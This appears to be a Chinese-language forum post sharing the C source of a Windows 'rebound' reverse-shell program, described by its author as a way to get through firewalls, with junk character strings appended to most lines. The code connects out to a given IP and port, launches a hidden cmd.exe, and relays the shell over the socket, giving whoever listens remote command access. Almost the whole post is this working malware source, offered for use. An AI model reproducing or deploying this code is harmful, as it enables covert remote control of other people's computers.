这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h*'5h!
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Rebound port in Windows NT "K=)J'/n
By wind,2006/7 bpCe&*\6K
===============================*/ Z@Z`8M@Q,
#include ,S K6*tpI
#include
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#pragma comment(lib,"wsock32.lib") %}MM+1eu
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void OutputShell(); :H k4i%hGk
SOCKET sClient; 2Nzcej
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1e%Xyqb
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void main(int argc,char **argv) D*b|(Oi
{ '\qr=0aW
WSADATA stWsaData; FX%E7H
int nRet; :jCaDhK
SOCKADDR_IN stSaiClient,stSaiServer; JG$J,!.\
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if(argc != 3) rI$10R$+H
{ /v<8x?=
printf("Useage:\n\rRebound DestIP DestPort\n"); 2,`mNjHh
return; ;hp; Rd
} 7hE=+V8
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5Uz(Bi
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +#9 (T
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stSaiClient.sin_family = AF_INET; msJn;(Pn
stSaiClient.sin_port = htons(0); ioQlC4Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !I$RE?7eY
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) At:C4>HE@
{ x=+H@YO\
printf("Bind Socket Failed!\n"); !9Ni[8&Fg0
return; @1X1E 2:
} [#H8Mb+7
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stSaiServer.sin_family = AF_INET; 9a,CiH%@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); VUhu"h@w%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2sq<"TlQXI
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s_Gp +-
{ 6YbSzx`?k
printf("Connect Error!"); I>|?B(F
return; j(N9%/4u
} 81C?U5
OutputShell(); ,]'!2?
} 53xq%
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void OutputShell() /pEkig7M
{ $80/ub:R
char szBuff[1024]; }x-8@9S~z
SECURITY_ATTRIBUTES stSecurityAttributes; L@uKE jR
OSVERSIONINFO stOsversionInfo; xEqrs6sR
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eZo%q,L
STARTUPINFO stStartupInfo; ObnB6ShKi
char *szShell; \`&fr+x
PROCESS_INFORMATION stProcessInformation; b9jm=U
unsigned long lBytesRead; wVX0!y6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ac%K+Pgk.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $'w l{D"
stSecurityAttributes.lpSecurityDescriptor = 0; 7 |A,GH
stSecurityAttributes.bInheritHandle = TRUE; y+<HS]vyV
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,@MPzpH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %hh8\5l.:
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w0SgF/"@
stStartupInfo.wShowWindow = SW_HIDE; z9ZAY!Zhq]
stStartupInfo.hStdInput = hReadPipe; ;E_{Zji_e
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -0Ek&"=Z^
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GetVersionEx(&stOsversionInfo); 1:8: yFV
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switch(stOsversionInfo.dwPlatformId) X88ZdM'
{ )kUw,F=6
case 1: =lnz5H
szShell = "command.com"; wXnt3)e
break; ^W*/!q7H
default: N:.bnF(
szShell = "cmd.exe"; 9yPB)&"EF
break; =T`-h"E~@
} *bK@ A2`
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0v?,:]A0E
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send(sClient,szMsg,77,0); gf@Dy6<
while(1) {cFei3'q
{ dLq!t@?iu>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -1:asM7
if(lBytesRead) W\ckt]'
{ @AFLF X]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J^T66}r[f,
send(sClient,szBuff,lBytesRead,0); ub&1L_K
} L
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else lHU$A;
{ YDwns
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; g`1i[Iu2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N C&1l]
} 4$rO,W/&0
} =/;(qy9.-R
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return; o/xE
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}